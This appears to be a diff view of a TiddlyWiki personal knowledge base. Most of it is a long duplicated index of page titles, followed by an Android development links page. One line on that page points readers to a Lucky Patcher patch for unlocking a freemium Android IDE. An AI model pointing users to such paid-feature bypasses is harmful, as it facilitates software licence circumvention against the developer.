  133. Handheld
  134. Harden VM from Human Inspection
  135. Hardware
  136. Hashing
  137. Holiday
  138. Homebrew
  139. HTML
  140. HTTP
  141. Huawei P9 Lite Mini
  142. I2C
  143. ImageMagick
  144. Information and Knowledge
  145. Installing kbin on Alpine Linux
  146. Instant messaging
  147. Intellinet
  148. Interlingua
  149. Internet
  150. Internet Archive
  151. Internet Checkpoint
  152. Internet Relay Chat
  153. Invidious:en
  154. iOS
  155. ISO 8601:en
  156. Issues of the Modern Web
  157. Italiano
  158. Java
  159. JavaScript
  160. johncena141:en
  161. JSON
  162. KDE:en
  163. Keeping a KB
  164. Kernel postinst issue on Linux Mint
  165. Keyboard
  166. Keyoxide:en
  167. Kindle
  168. Knowledge Management
  169. KOReader
  170. Kotlin
  171. Language
  172. LastPass
  173. LCD
  174. Lemmy:en
  175. Libretro
  176. LineageOS
  177. Linux
  178. Lista incidenti
  179. Lorem ipsum
  180. Lua
  181. Lucky Patcher
  182. LXC
  183. LXQt:en
  184. Magisk
  185. Mario Kart
  186. Mario Kart DS
  187. Mario Paint
  188. Markdown
  189. Mastodon
  190. Math
  191. Matrix
  192. MeBoy:en
  193. MediaWiki
  194. melonDS:en
  195. Meta Inc
  196. MicroBlogs
  197. Microsoft
  198. Midnight Commander:en
  199. Miitomo:en
  200. Miiverse
  201. Minecraft
  202. Minesweeper
  203. Minigame
  204. MIPS
  205. Mirror's Edge
  206. Misskey
  207. Miyoo
  208. Mobile Games
  209. Modding
  210. MSX
  211. MSYS2
  212. Music
  213. Music Archiving Status
  214. nanoGPT
  215. Neofetch
  216. NES Homebrew Games
  217. Network domain
  218. Networking
  219. News
  220. Newsgroup
  221. Nginx
  222. Nintendo
  223. Nintendo 3DS
  224. Nintendo 64
  225. Nintendo DS
  226. Nintendo Entertainment System
  227. Nintendo Switch
  228. Nitter:en
  229. Nix
  230. Node.js
  231. NodeMCU:en
  232. Nokia
  233. Nonogram
  234. Note
  235. Notebook
  236. NumWorks
  237. Octt
  238. OcttKB
  239. OLED
  240. Open Services Providers
  241. OpenVPN
  242. Optical disc
  243. Oracle VirtualBox
  244. Palette
  245. Papier-mâché
  246. Pastebin
  247. PC
  248. Peer-to-peer
  249. PeerTube:en
  250. Personal Knowledge Base
  251. PHP
  252. phpBB
  253. PICO-8
  254. Picross 3D:en
  255. Picross DS:en
  256. Picture
  257. Pilotwings:en
  258. Pinball
  259. Pine64:en
  260. ping
  261. Pixel Art
  262. Pixelfed:en
  263. PlayStation
  264. PlayStation 1
  265. PlayStation 2
  266. PlayStation Portable
  267. PocketGo
  268. Pokémon
  269. Pokémon Marron Merda:it
  270. Portable storage for consoles at home and emulators on the go
  271. Printing
  272. Proprietary Software
  273. Proxy
  274. Pseudo-OS
  275. Pubnix
  276. Puzzle
  277. Python
  278. QEMU
  279. Rasperry Pi:it
  280. Rclone
  281. ReactOS:en
  282. Reddit
  283. Regex
  284. Ren'Py
  285. Retrodevelopment
  286. Retrogaming
  287. Rewriting server service scripts from sh to zx
  288. Rockchip:en
  289. RSS
  290. Rust language
  291. Salesforce
  292. Samsung Galaxy Ace 4 Style
  293. Samsung Galaxy Player:en
  294. Samsung Galaxy S5 Mini
  295. Samsung:en
  296. Scribblenauts
  297. Scripting
  298. Search engine
  299. SEB 3.5.0 on Linux (VM Bypass)
  300. Server
  301. setxkbmap
  302. SFTP
  303. Shared hosting
  304. Shell scripting
  305. Shiori
  306. Simple DirectMedia Layer
  307. Simple Mobile Tools:en
  308. sitoctt
  309. SMIL
  310. Social network
  311. SoftEther
  312. Software
  313. Software reimplementation
  314. Sokoban
  315. Sony
  316. Spacc
  317. Spacc BBS
  318. Spacc Inc.
  319. SpaccCraft
  320. Speedrun
  321. SPI
  322. Splatoon
  323. SSH
  324. Stable Diffusion
  325. Standard Notes
  326. Starbucks
  327. Static site generator
  328. Strange things
  329. Super Mario 64
  330. Super Mario Bros.
  331. Super Nintendo Entertainment System
  332. Super Tux:en
  333. SuperTuxKart
  334. SVG
  335. Syncthing
  336. Syncthing setup for a refreshing file experience
  337. Sysadmin
  338. System monitor
  339. Tech Art
  340. Tech Resources
  341. Techmino:en
  342. Telegram
  343. Teletext
  344. Telnet
  345. Templating language
  346. Termux
  347. Tetris
  348. Tetris Effect:en
  349. Text
  350. Text editor
  351. The importance of cover images on articles
  352. The Legend of Zelda
  353. The World Factbook
  354. Thioacetone
  355. TIC-80
  356. TiddlyWiki
  357. TikTok
  358. Tor
  359. Touhou
  360. traceroute
  361. Tux Racer
  362. Twitter:en
  363. TWRP
  364. Typography
  365. Ubuntu
  366. UK Online Safety Bill
  367. Unix
  368. Unsplash
  369. URL shortening
  370. USB
  371. Userscript
  372. UUID
  373. Vaporwave
  374. Video
  375. Virtual Machine
  376. Virtual reality
  377. Virtual Reality
  378. Visual novel
  379. VMWare
  380. VNC
  381. Voxatron
  382. VPN
  383. wallabag
  384. Watch
  385. Wayback Machine
  386. Web
  387. Web Browser
  388. Web design ideas
  389. Webmaster\Sysadmin Resources
  390. Webrings
  391. Website
  392. Why I write digitally
  393. Wii
  394. Wii U
  395. Wiki
  396. Wikipedia
  397. WikiSpacc
  398. Wikitext
  399. Windows
  400. Windows Registry
  401. WinWorld
  402. WireGuard
  403. Word
  404. WordPress
  405. x86_64
  406. XDA Developers:en
  407. XFCE:en
  408. Xiaomi
  409. Xiaomi Redmi 9T
  410. XML
  411. XPath
  412. XSL
  413. XSLT
  414. YouTube
  415. Zettelkasten
  416. zstd
  417. (2990)
    1. Acknowledgements
    2. AdvancedSearch
    3. Apps
    4. AudioExperiments
    5. Commander
    6. ControlPanel
    7. core
    8. DefaultTiddlers
    9. Games
    10. HistoryList
    11. i18n
    12. i18n:en
    13. i18n:it
    14. Import
    15. isEncrypted
    16. language
    17. Manager
    18. palette
    19. PaletteManager
    20. SiteSubtitle
    21. SiteTitle
    22. StaticBanner
    23. StoryList
    24. TagManager
    25. theme
    26. Tools
    27. view
    28. (3)
    29. (1)
    30. (3)
    31. (1)
    32. (286)
    33. (857)
    34. (5)
    35. (1)
    36. (4)
    37. (1009)
    38. (4)
    39. (2)
    40. (1)
    41. (18)
    42. (7)
    43. (10)
    44. (37)
    45. (19)
    46. (1)
    47. (79)
    48. (1)
    49. (18)
    50. (496)
    51. (2)
    52. (19)
    53. (27)
    54. (3)
    55. (32)
    56. (15)
    57. (2)
  418. (3)
  419. (1)
  420. (1)
  421. (1)
  422. (1)
  423. (1)
  424. (1)
  425. (1)
  426. (1)
  427. (2)
  428. (4)
  429. (2)
  430. (1)
  431. (5)
  432. (13)
  433. (1)
  434. (1)
  435. (1)
  436. (3)
  437. (1)
  438. (1)
  439. (2)
  440. (1)
  441. (2)
  442. (1)
+
  1. ~Welcome~
  2. 1337x:en
  3. 2048
  4. 2248
  5. 6502
  6. 7z
  7. A Hat in Time:en
  8. Abandonware
  9. ActivityPub
  10. Adobe Flash
  11. Advertising
  12. Agile article covers, from stock photos to AI
  13. Alcohol
  14. Android
  15. Animal Crossing
  16. Anti-Capitalist Software License:en
  17. Anti-Fascist MIT License:en
  18. App
  19. Apple Inc
  20. Archive
  21. Arduino:en
  22. Aria2
  23. ARM
  24. Artificial intelligence
  25. Assembly language
  26. Astral projection
  27. Balloon Fight:en
  28. Barcode
  29. Base64
  30. BASIC
  31. BBCode
  32. BBS
  33. Binary data
  34. BitTorrent
  35. Bluetooth
  36. C Language
  37. C++
  38. Calculator
  39. Candle
  40. Cartography
  41. CASIO
  42. Celeste
  43. Character Art
  44. Character encoding
  45. Chat
  46. CHIP-8
  47. Clock
  48. Coding
  49. Compiler
  50. Computing
  51. Content delivery network
  52. Copypasta
  53. Copyright
  54. Cryptocurrency
  55. CSS
  56. CTGP Nitro
  57. CUPS
  58. CyanogenMod:en
  59. Cybersecurity
  60. D-Pad:en
  61. daedalOS
  62. Dart
  63. Data compression
  64. Data corruption
  65. Data recovery
  66. Data serialization
  67. Data storage
  68. Database
  69. Demoscene
  70. Development
  71. DevKitPro
  72. Digital Garden
  73. Digital signing
  74. Discord
  75. Display
  76. DIY
  77. DNS
  78. Docker
  79. Document
  80. DOOM
  81. DOS
  82. dpkg
  83. DraStic
  84. E-Paper
  85. Earning Resources
  86. Electronics
  87. Email
  88. Email Settings
  89. Emulation
  90. Endianness
  91. English
  92. EPSON WF-2510
  93. Eruda
  94. ESP8266:en
  95. F-Zero
  96. Fantasy computer
  97. Fediverse
  98. FFmpeg
  99. File manager
  100. File sharing
  101. File system
  102. Firmware
  103. Flashcart
  104. Ford
  105. Forum
  106. Free sharing
  107. Freedom
  108. FreshRSS
  109. Friendica
  110. Frontend
  111. Game Boy
  112. Game cheating
  113. Game development
  114. Game modding
  115. Game save
  116. Gamepad
  117. Gaming
  118. Gaming console
  119. GBA
  120. GettingStarted
  121. GIF
  122. GIMP
  123. Git
  124. GitHub
  125. GitLab
  126. GNOME
  127. GNU:en
  128. Google
  129. GPT
  130. GUI
  131. Hacker News:en
  132. Hacking a chain strap in an USB SD card reader for security
  133. Handheld
  134. Harden VM from Human Inspection
  135. Hardware
  136. Hashing
  137. Holiday
  138. Homebrew
  139. HTML
  140. HTTP
  141. Huawei P9 Lite Mini
  142. I2C
  143. ImageMagick
  144. Information and Knowledge
  145. Installing kbin on Alpine Linux
  146. Instant messaging
  147. Intellinet
  148. Interlingua
  149. Internet
  150. Internet Archive
  151. Internet Checkpoint
  152. Internet Relay Chat
  153. Invidious:en
  154. iOS
  155. ISO 8601:en
  156. Issues of the Modern Web
  157. Italiano
  158. Java
  159. JavaScript
  160. johncena141:en
  161. JSON
  162. KDE:en
  163. Keeping a KB
  164. Kernel postinst issue on Linux Mint
  165. Keyboard
  166. Keyoxide:en
  167. Kindle
  168. Knowledge Management
  169. KOReader
  170. Kotlin
  171. Language
  172. LastPass
  173. LCD
  174. Lemmy:en
  175. Libretro
  176. LineageOS
  177. Linux
  178. Lista incidenti
  179. Lorem ipsum
  180. Lua
  181. Lucky Patcher
  182. LXC
  183. LXQt:en
  184. Magisk
  185. Mario Kart
  186. Mario Kart DS
  187. Mario Paint
  188. Markdown
  189. Mastodon
  190. Math
  191. Matrix
  192. MeBoy:en
  193. MediaWiki
  194. melonDS:en
  195. Meta Inc
  196. MicroBlogs
  197. Microsoft
  198. Midnight Commander:en
  199. Miitomo:en
  200. Miiverse
  201. Minecraft
  202. Minesweeper
  203. Minigame
  204. MIPS
  205. Mirror's Edge
  206. Misskey
  207. Miyoo
  208. Mobile Games
  209. Modding
  210. MSX
  211. MSYS2
  212. Music
  213. Music Archiving Status
  214. nanoGPT
  215. Neofetch
  216. NES Homebrew Games
  217. Network domain
  218. Networking
  219. News
  220. Newsgroup
  221. Nginx
  222. Nintendo
  223. Nintendo 3DS
  224. Nintendo 64
  225. Nintendo DS
  226. Nintendo Entertainment System
  227. Nintendo Switch
  228. Nitter:en
  229. Nix
  230. Node.js
  231. NodeMCU:en
  232. Nokia
  233. Nonogram
  234. Note
  235. Notebook
  236. NumWorks
  237. Octt
  238. OcttKB
  239. OLED
  240. Open Services Providers
  241. OpenVPN
  242. Optical disc
  243. Oracle VirtualBox
  244. Palette
  245. Papier-mâché
  246. Pastebin
  247. PC
  248. Peer-to-peer
  249. PeerTube:en
  250. Personal Knowledge Base
  251. PHP
  252. phpBB
  253. PICO-8
  254. Picross 3D:en
  255. Picross DS:en
  256. Picture
  257. Pilotwings:en
  258. Pinball
  259. Pine64:en
  260. ping
  261. Pixel Art
  262. Pixelfed:en
  263. PlayStation
  264. PlayStation 1
  265. PlayStation 2
  266. PlayStation Portable
  267. PocketGo
  268. Pokémon
  269. Pokémon Marron Merda:it
  270. Portable storage for consoles at home and emulators on the go
  271. Printing
  272. Proprietary Software
  273. Proxy
  274. Pseudo-OS
  275. Pubnix
  276. Puzzle
  277. Python
  278. QEMU
  279. Rasperry Pi:it
  280. Rclone
  281. ReactOS:en
  282. Reddit
  283. Regex
  284. Ren'Py
  285. Retrodevelopment
  286. Retrogaming
  287. Rewriting server service scripts from sh to zx
  288. Rockchip:en
  289. RSS
  290. Rust language
  291. Salesforce
  292. Samsung Galaxy Ace 4 Style
  293. Samsung Galaxy Player:en
  294. Samsung Galaxy S5 Mini
  295. Samsung:en
  296. Scribblenauts
  297. Scripting
  298. Search engine
  299. SEB 3.5.0 on Linux (VM Bypass)
  300. Server
  301. setxkbmap
  302. SFTP
  303. Shared hosting
  304. Shell scripting
  305. Shiori
  306. Simple DirectMedia Layer
  307. Simple Mobile Tools:en
  308. sitoctt
  309. SMIL
  310. Social network
  311. SoftEther
  312. Software
  313. Software reimplementation
  314. Sokoban
  315. Sony
  316. Spacc
  317. Spacc BBS
  318. Spacc Inc.
  319. SpaccCraft
  320. Speedrun
  321. SPI
  322. Splatoon
  323. SSH
  324. Stable Diffusion
  325. Standard Notes
  326. Starbucks
  327. Static site generator
  328. Strange things
  329. Super Mario 64
  330. Super Mario Bros.
  331. Super Nintendo Entertainment System
  332. Super Tux:en
  333. SuperTuxKart
  334. SVG
  335. Syncthing
  336. Syncthing setup for a refreshing file experience
  337. Sysadmin
  338. System monitor
  339. Tech Art
  340. Tech Resources
  341. Techmino:en
  342. Telegram
  343. Teletext
  344. Telnet
  345. Templating language
  346. Termux
  347. Tetris
  348. Tetris Effect:en
  349. Text
  350. Text editor
  351. The importance of cover images on articles
  352. The Legend of Zelda
  353. The World Factbook
  354. Thioacetone
  355. TIC-80
  356. TiddlyWiki
  357. TikTok
  358. Tor
  359. Touhou
  360. traceroute
  361. Tux Racer
  362. Twitter:en
  363. TWRP
  364. Typography
  365. Ubuntu
  366. UK Online Safety Bill
  367. Unix
  368. Unsplash
  369. URL shortening
  370. USB
  371. Userscript
  372. UUID
  373. Vaporwave
  374. Video
  375. Virtual Machine
  376. Virtual reality
  377. Virtual Reality
  378. Visual novel
  379. VMWare
  380. VNC
  381. Voxatron
  382. VPN
  383. wallabag
  384. Watch
  385. Wayback Machine
  386. Web
  387. Web Browser
  388. Web design ideas
  389. Webmaster\Sysadmin Resources
  390. Webrings
  391. Website
  392. Why I write digitally
  393. Wii
  394. Wii U
  395. Wiki
  396. Wikipedia
  397. WikiSpacc
  398. Wikitext
  399. Windows
  400. Windows Registry
  401. WinWorld
  402. WireGuard
  403. Word
  404. WordPress
  405. x86_64
  406. XDA Developers:en
  407. XFCE:en
  408. Xiaomi
  409. Xiaomi Redmi 9T
  410. XML
  411. XPath
  412. XSL
  413. XSLT
  414. YouTube
  415. Zettelkasten
  416. zstd
  417. (2991)
    1. Acknowledgements
    2. AdvancedSearch
    3. Apps
    4. AudioExperiments
    5. Commander
    6. ControlPanel
    7. core
    8. DefaultTiddlers
    9. Games
    10. HistoryList
    11. i18n
    12. i18n:en
    13. i18n:it
    14. Import
    15. isEncrypted
    16. language
    17. Manager
    18. palette
    19. PaletteManager
    20. SiteSubtitle
    21. SiteTitle
    22. StaticBanner
    23. StoryList
    24. TagManager
    25. theme
    26. Tools
    27. view
    28. (3)
    29. (1)
    30. (3)
    31. (1)
    32. (286)
    33. (857)
    34. (5)
    35. (1)
    36. (4)
    37. (1009)
    38. (4)
    39. (2)
    40. (1)
    41. (18)
    42. (7)
    43. (10)
    44. (37)
    45. (19)
    46. (1)
    47. (79)
    48. (1)
    49. (18)
    50. (497)
    51. (2)
    52. (19)
    53. (27)
    54. (3)
    55. (32)
    56. (15)
    57. (2)
  418. (3)
  419. (1)
  420. (1)
  421. (1)
  422. (1)
  423. (1)
  424. (1)
  425. (1)
  426. (1)
  427. (2)
  428. (4)
  429. (2)
  430. (1)
  431. (5)
  432. (13)
  433. (1)
  434. (1)
  435. (1)
  436. (3)
  437. (1)
  438. (1)
  439. (2)
  440. (1)
  441. (2)
  442. (1)



(Partial) Copyright © 2022, OctoSpacc || OcttKB is powered by TiddlyWiki.

As with any TiddlyWiki, you can make your own changes right here and save them locally for yourself.

@@ -6078,7 +6078,7 @@

-

Development

Apps and the likes

Lego block development:
Sketchware Pro - Open-source mod of the proprietary and discontinued Sketchware app, for developing directly on Android - [Git]
MIT App Inventor - Before Sketchware, we had this
Minimalist development
How can I build an Android apk without Gradle on the command line?
Tiny Android Template - Minimalist Android Project w/o Gradle
Classic development
Classic development, directly on an Android:
With these apps it's also easy to compile for very old API targets, unlike Gradle or Android Studio where it's basically impossible today
Anacode IDE - [GPlay] - The app is freemium and apparently gives you 5-minute waits between build attempts after you build idk how many times (3? 5?)
AIDE IDE for Android - [GPlay] - This app is freemium but honestly unusable without paying the montly/annual fee (for example, you can't save code you edit after a while); grab patch for Lucky Patcher here or here (I don't understand why the app name is different)
Guides, Snippets, Problems
Android Icon Size guide for Android 6 Marshmallow
How to rename an Android Studio ProjectA step by step guide on renaming an Android Studio project. Open Source Kotlin Android project included.

Hacking / Modding

Problems, Snippets, Guides
Reverse Engineering and Analyzing Android Apps: A Step-by-Step Guide
Flashing Stock or Custom Firmware with Heimdall (on linux)
+

Development

Apps and the likes

Lego block development:
Sketchware Pro - Open-source mod of the proprietary and discontinued Sketchware app, for developing directly on Android - [Git]
MIT App Inventor - Before Sketchware, we had this
Minimalist development
How can I build an Android apk without Gradle on the command line?
Tiny Android Template - Minimalist Android Project w/o Gradle
Classic development
Classic development, directly on an Android:
With these apps it's also easy to compile for very old API targets, unlike Gradle or Android Studio where it's basically impossible today
Anacode IDE - [GPlay] - The app is freemium and apparently gives you 5-minute waits between build attempts after you build idk how many times (3? 5?)
AIDE IDE for Android - [GPlay] - This app is freemium but honestly unusable without paying the montly/annual fee (for example, you can't save code you edit after a while); grab patch for Lucky Patcher here or here (I don't understand why the app name is different)
Guides, Snippets, Problems
Android Icon Size guide for Android 6 Marshmallow
How to rename an Android Studio ProjectA step by step guide on renaming an Android Studio project. Open Source Kotlin Android project included.

Hacking / Modding

Problems, Snippets, Guides
Reverse Engineering and Analyzing Android Apps: A Step-by-Step Guide
Flashing Stock or Custom Firmware with Heimdall (on linux)
@@ -6167,11 +6167,11 @@

Development